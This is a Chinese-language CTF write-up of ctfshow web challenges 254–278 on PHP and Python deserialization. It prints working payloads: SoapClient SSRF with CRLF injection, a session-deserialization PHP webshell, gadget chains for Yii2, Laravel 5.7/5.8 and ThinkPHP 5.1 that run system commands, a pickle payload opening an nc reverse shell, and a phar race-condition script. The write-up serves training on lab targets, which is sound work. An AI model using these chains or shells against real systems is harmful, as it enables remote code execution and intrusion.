前言
简单的反序列化直接给出payload,有意思的,较为复杂的和我不太会的会分析一波。
具体的反序列化的基础知识的学习,推荐看一下y4师傅的这篇博客:
[CTF]PHP反序列化总结
web254
?username=xxxxxx&password=xxxxxx
web255
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=true;
}
echo urlencode(serialize(new ctfShowUser()));
?username=xxxxxx&password=xxxxxx
Cookie: user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
web256
把PHP里面的username和password改成不一样的即可,然后和get传入的对应。
web257
构造姿势:
<?php
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
private $code="system('cat flag.php');";
}
echo urlencode(serialize(new ctfShowUser()));
web258
加上了正则过滤:
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
仔细观察一下我们构造的payload:
O:11:"ctfShowUser":4:{
s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"isVip";b:0;s:5:"class";O:8:"backDoor":1:{
s:4:"code";s:23:"system('cat+flag.php');";}}
正好和O:11:和O:8:匹配上了,绕过的方法就是加上+,O:+11:,O:+8:即可绕过。
注意一下编码即可:
web259
又是一个新姿势。一般遇到反序列化的题目,而本身那个php页面没用任何的已有的类,那么大概率就是考察PHP原生类的反序列化了。
<?php
highlight_file(__FILE__);
$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();
flag.php
<?php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}
要想得到flag,必须本地访问flag.php而且带上token,一看到是根据x-forwarded-for来判断的,第一反应是直接改xff头,但是这题不行,y4师傅说是因为有了cloudfare代理,我们无法通过本地构造XFF头实现绕过。因此这题需要利用原生类的反序列化来实现SSRF,考察的是php的SoapClient原生类的反序列化。
综述:
php在安装php-soap拓展后,可以反序列化原生类SoapClient,来发送http post请求。
必须调用SoapClient不存在的方法,触发SoapClient的__call魔术方法。
通过CRLF来添加请求体:SoapClient可以指定请求的user-agent头,通过添加换行符的形式来加入其他请求内容
具体的学习直接参考前言中y4师傅的那篇博客即可,讲解的非常详细。
至于soap的拓展的安装,直接打开php.ini,找到extension=soap
,然后把前面的注释去掉,再重启服务即可。
最终构造的payload如下:
<?php
$a = new SoapClient(null,
array(
'user_agent' => "feng\r\nx-forwarded-for:127.0.0.1,127.0.0.1\r\nContent-type:application/x-www-form-urlencoded\r\nContent-length:13\r\n\r\ntoken=ctfshow",
'uri' => 'feng',
'location' => 'http://127.0.0.1/flag.php'
)
);
$b = serialize($a);
#$c = unserialize($b);
#$c->not_a_function();//调用不存在的方法,让SoapClient调用__call
echo urlencode($b);
location就是我们要访问的url,其中uri也是不可缺少的,但是其实没什么用。关键就是因为我们可以控制user_agent,所以可以CRLF注入,CRLF注入可以参考:
User-Agent: feng
x-forwarded-for:127.0.0.1,127.0.0.1
Content-type:application/x-www-form-urlencoded
Content-length:13
token=ctfshow
Content-Type: text/xml; charset=utf-8
SOAPAction: "feng#not_a_function"
Content-Length: 378
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="feng" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:not_a_function/></SOAP-ENV:Body></SOAP-ENV:Envelope>
因为Content-length的缘故,post只取到token=ctfshow,成功把下面的那些东西给吃掉了,实现了自己构造POST的请求包。
然后再访问flag.txt即可。
web260
?ctfshow=ctfshow_i_love_36D
web261
不会。。。。
web262
反序列化字符串逃逸的问题,2种情况,变长或者变短,这题是变长,需要注意的是最上面的注释里有message.php:
# @message.php
message.php里面有反序列化的点:
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_COOKIE['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
因此想办法让token是admin即可。不过这题讲道理也不需要反序列化字符串逃逸,因为cookie里面是我们可控的。。。直接构造就行了。。不过还是把字符串逃逸的payload写一下吧。
要吃掉这部分:
";s:5:"token";s:4:"user";}
26个字符的长度,所以需要26个fuck:
<?php
class message{
public $from="1";
public $msg="1";
public $to='fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}';
public $token='user';
}
$a=new message();
$b=serialize($a);
echo $b."<br><br>";
$b=str_replace('fuck', 'loveU', $b);
echo $b;
?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
具体反序列化字符串逃逸的知识点可以参考y4师傅的文章,因为比较简单,这里只给出payload。
web263
存在www.zip,把代码下载下来进行审计。
在inc.php那里发现这个:
ini_set('session.serialize_handler', 'php');
第一反应肯定就是session反序列化了,这里把session的session.serialize_handler设置为php,暗示了默认的php.ini里面的肯定不是php,大概率是php_serialize。既然session序列化存储的引擎存在差异,自然可以进行攻击了:
当会话自动开始或者通过 session_start() 手动开始的时候, PHP 内部会调用会话管理器的 open 和 read 回调函数。
会话管理器可能是 PHP 默认的, 也可能是扩展提供的(SQLite 或者 Memcached 扩展), 也可能是通过
session_set_save_handler() 设定的用户自定义会话管理器。 通过 read
回调函数返回的现有会话数据(使用特殊的序列化格式存储),PHP 会自动反序列化数据并且填充 $_SESSION 超级全局变量
先判断一下session是否可控。如果不可控的话可能就要利用文件上传了。
全局搜索一下session,发现首先是这里:
if(isset($_SESSION['limit'])){
$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
}else{
setcookie("limit",base64_encode('1'));
$_SESSION['limit']= 1;
}
第一次访问index.php就会产生session,之后如果limit没超过5的话,$_SESSION['limit']=base64_decode($_COOKIE['limit']);
Cookie可控,因此session就可控了。再去找一下利用点,直接找session_start,发现inc.php里面有session-start(),而且存在User类,有一个文件写入:
class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function setStatus($s){
$this->status=$s;
}
function __destruct(){
file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
}
}
文件名和写入的内容都可控,因此可以写马,自此反序列化链也就理顺了。
构造如下:
<?php
class User{
public $username;
public $password;
function __construct(){
$this->username = "10.php";
$this->password = '<?php eval($_POST[0]);?>';
}
}
echo base64_encode("|".serialize(new User()));
首先访问index.php,然后改cookie,再刷新一次index.php,再访问一次check.php,这样马就写好了,然后RCE即可。
web264
转存到session里了,大概率是修复262那题不需要反序列化字符串逃逸,直接cookie里写的非预期,姿势和262一样。
web265
考察PHP的&,一个例子:
<?php
$b="hello";
$a=&$b;
echo $a.PHP_EOL;
$b="feng";
echo $a;
如果$a=&$b
,那么$a的值会随着$b的值得变化而变化,所以直接构造即可:
<?php
class ctfshowAdmin{
public $token;
public $password;
public function __construct(){
$this->password=&$this->token;
}
}
echo serialize(new ctfshowAdmin());
web266
考察PHP基础中的基础,没错我真的不知道。。。
有个正则表达式if(preg_match('/ctfshow/', $cs)){
,第一反应是没加/i,有点奇怪,试了一下大小写绕过,发现成功了。。。
查了一下,发现是自己PHP的基础没学好。PHP里面函数不区分大小写,类也不区分大小写,只有变量名区分。
所以直接构造即可:
<?php
class ctfshow{
}
echo serialize(new Ctfshow());
再大小写绕过。
web267
卡住了,不知道这是一个框架。
首先就是弱密码admin,admin登录,在index.php?r=site%2Fabout
那里f12看一下源码,发现了这个:
加上后得到这个:
注意,backdoor/shell是路由,然后我就卡住了。
这题考察的其实是yii框架的反序列化。
随便找个POC用一下,不过这题system不行,而且好像没回显?但是我用passthru可以有回显:
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'passthru';
$this->id = 'cat /flag';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
// 这里需要改为isRunning
$this->formatters['render'] = [new CreateAction(), 'run'];
}
}
}
namespace phpDocumentor\Reflection\DocBlock\Tags{
use Faker\Generator;
class See{
protected $description;
public function __construct()
{
$this->description = new Generator();
}
}
}
namespace{
use phpDocumentor\Reflection\DocBlock\Tags\See;
class Swift_KeyCache_DiskKeyCache{
private $keys = [];
private $path;
public function __construct()
{
$this->path = new See;
$this->keys = array(
"axin"=>array("is"=>"handsome")
);
}
}
// 生成poc
echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
暂时去复现一下yii2的反序列化链,学习一波。
web268
花了半天时间复现了一下,文章如下:
yii2框架 反序列化漏洞复现
目前至少知道有4条链可以用,继续用上题的链还是可以打通。如果这四条链都打不通了,那就去再挖一条试试。
web269
用之前的链依然可以打通。
web270
用第四条链:
<?php
namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'passthru';
$this->id = 'cat /fl*';
}
}
}
namespace yii\db{
use yii\web\DbSession;
class BatchQueryResult
{
private $_dataReader;
public function __construct(){
$this->_dataReader=new DbSession();
}
}
}
namespace yii\web{
use yii\rest\IndexAction;
class DbSession
{
public $writeCallback;
public function __construct(){
$a=new IndexAction();
$this->writeCallback=[$a,'run'];
}
}
}
namespace{
use yii\db\BatchQueryResult;
echo base64_encode(serialize(new BatchQueryResult()));
}
web271
laravel5.7的反序列化,可以从网上找到分析文章或者参考我的博客:
laravel5.7 反序列化漏洞复现
POC:
<?php
namespace Illuminate\Foundation\Testing{
use Illuminate\Auth\GenericUser;
use Illuminate\Foundation\Application;
class PendingCommand
{
protected $command;
protected $parameters;
public $test;
protected $app;
public function __construct(){
$this->command="system";
$this->parameters[]="cat /fl*";
$this->test=new GenericUser();
$this->app=new Application();
}
}
}
namespace Illuminate\Foundation{
class Application{
protected $bindings = [];
public function __construct(){
$this->bindings=array(
'Illuminate\Contracts\Console\Kernel'=>array(
'concrete'=>'Illuminate\Foundation\Application'
)
);
}
}
}
namespace Illuminate\Auth{
class GenericUser
{
protected $attributes;
public function __construct(){
$this->attributes['expectedOutput']=['hello','world'];
$this->attributes['expectedQuestions']=['hello','world'];
}
}
}
namespace{
use Illuminate\Foundation\Testing\PendingCommand;
echo urlencode(serialize(new PendingCommand()));
}
web272
laravel5.8的反序列化链,参考文章:
laravel5.8 反序列化漏洞复现
2个POC,任意一个都可,这里用一下第一个:
<?php
namespace Illuminate\Broadcasting{
use Illuminate\Bus\Dispatcher;
use Illuminate\Foundation\Console\QueuedCommand;
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct(){
$this->events=new Dispatcher();
$this->event=new QueuedCommand();
}
}
}
namespace Illuminate\Foundation\Console{
class QueuedCommand
{
public $connection="cat /flag";
}
}
namespace Illuminate\Bus{
class Dispatcher
{
protected $queueResolver="system";
}
}
namespace{
use Illuminate\Broadcasting\PendingBroadcast;
echo urlencode(serialize(new PendingBroadcast()));
}
抛出异常没关系,实际上命令还是执行了,也回显了,f12就可以看到回显了。
web273
同上。
web274
thinkphp5.1的反序列化链,参考文章:
Thinkphp5.1 反序列化漏洞复现
很难的一条链,和这条链比起来前面的yii2和larvel5.8的链确实简单了不少。
POC:
<?php
namespace think\process\pipes{
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct(){
$this->files[]=new Pivot();
}
}
}
namespace think{
abstract class Model
{
protected $append = [];
private $data = [];
public function __construct(){
$this->data=array(
'feng'=>new Request()
);
$this->append=array(
'feng'=>array(
'hello'=>'world'
)
);
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model
{
}
}
namespace think{
class Request
{
protected $hook = [];
protected $filter;
protected $config = [
// 表单请求类型伪装变量
'var_method' => '_method',
// 表单ajax伪装变量
'var_ajax' => '',
// 表单pjax伪装变量
'var_pjax' => '_pjax',
// PATHINFO变量名 用于兼容模式
'var_pathinfo' => 's',
// 兼容PATH_INFO获取
'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
// 默认全局过滤方法 用逗号分隔多个
'default_filter' => '',
// 域名根,如thinkphp.cn
'url_domain_root' => '',
// HTTPS代理标识
'https_agent_name' => '',
// IP代理获取标识
'http_agent_ip' => 'HTTP_X_REAL_IP',
// URL伪静态后缀
'url_html_suffix' => 'html',
];
public function __construct(){
$this->hook['visible']=[$this,'isAjax'];
$this->filter="system";
}
}
}
namespace{
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
}
web275
简单审一下代码:
<?php
highlight_file(__FILE__);
class filter{
public $filename;
public $filecontent;
public $evilfile=false;
public function __construct($f,$fn){
$this->filename=$f;
$this->filecontent=$fn;
}
public function checkevil(){
if(preg_match('/php|\.\./i', $this->filename)){
$this->evilfile=true;
}
if(preg_match('/flag/i', $this->filecontent)){
$this->evilfile=true;
}
return $this->evilfile;
}
public function __destruct(){
if($this->evilfile){
system('rm '.$this->filename);
}
}
}
if(isset($_GET['fn'])){
$content = file_get_contents('php://input');
$f = new filter($_GET['fn'],$content);
if($f->checkevil()===false){
file_put_contents($_GET['fn'], $content);
copy($_GET['fn'],md5(mt_rand()).'.txt');
unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
echo 'work done';
}
}else{
echo 'where is flag?';
}
一开始我以为是条件竞争,但是仔细看一下代码逻辑发现不是条件竞争。那么写入文件的内容是可控的,但是文件名没法带php,用协议啥的也不太行。仔细想想,看到了这个:
public function __destruct(){
if($this->evilfile){
system('rm '.$this->filename);
}
}
这tm直接把$this->filename
拼接到system里面?。。。太离谱了,直接执行命令。。。:
web277
看了一下,环境是python,看样子是考察python的反序列化了,f12可以看到:
<!--/backdoor?data= m=base64.b64decode(data) m=pickle.loads(m) -->
参考文章:
一篇文章带你理解漏洞之 Python 反序列化漏洞
python 反序列化
这题坑的点有2个,一个就是没有回显,另外一个就是os.system用不了,不知道为什么,用os.popen就可以了。因为没回显,所以弹一下shell,bash弹不了,用nc:
import os
import pickle
import base64
import requests
class exp(object):
def __reduce__(self):
return (os.popen,('nc ***.***.***.*** 39543 -e /bin/sh',))
a=exp()
s=pickle.dumps(a)
url="http://2ecec748-b3b0-4285-8e82-3531e90c2679.chall.ctf.show:8080/backdoor"
params={
'data':base64.b64encode(s)
}
r=requests.get(url=url,params=params)
print(r.text)
web278
过滤了os.system???你上一题就过滤了吧。。。不过姿势同上。
web276
加上了admin的限制:
public function __destruct(){
if($this->evilfile && $this->admin){
system('rm '.$this->filename);
}
}
感觉就没什么办法了,想了一下突然想到了phar的反序列化,构造一下:
<?php
class filter{
public $filename="1.txt;cat f*;";
public $filecontent;
public $evilfile=true;
public $admin = true;
}
$a=new filter();
@unlink("phar.jpg");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
然后想办法条件竞争。
一开始我拿bp跑的,跑了十分钟跑不出来,看了一下好像post传的phar文件内容有些问题,看来不能直接复制?
所以写python脚本跑:
import requests
import hashlib
import threading
url="http://9cad90a9-ef69-46c9-8e8f-8419915246ad.chall.ctf.show:8080/"
f=open("phar.phar","rb")
content=f.read()
def upload():
r=requests.post(url=url+"?fn=1.phar",data=content)
def read():
r=requests.post(url=url+"?fn=phar://1.phar/",data="1")
if "ctfshow{" in r.text or "flag{" in r.text:
print(r.text)
exit()
while 1:
t1=threading.Thread(target=upload)
t2=threading.Thread(target=read)
t1.start()
t2.start()
也是参考了一下yu师傅的脚本,因为一开始自己的脚本死活跑不出来,后来改成这样还是跑不出来。。。感觉和网速关系很大,我都开始考虑不条件竞争,而是跑那个md5的txt文件了,重开了一个容器,然后突然一开始就跑出来了,太幸运了。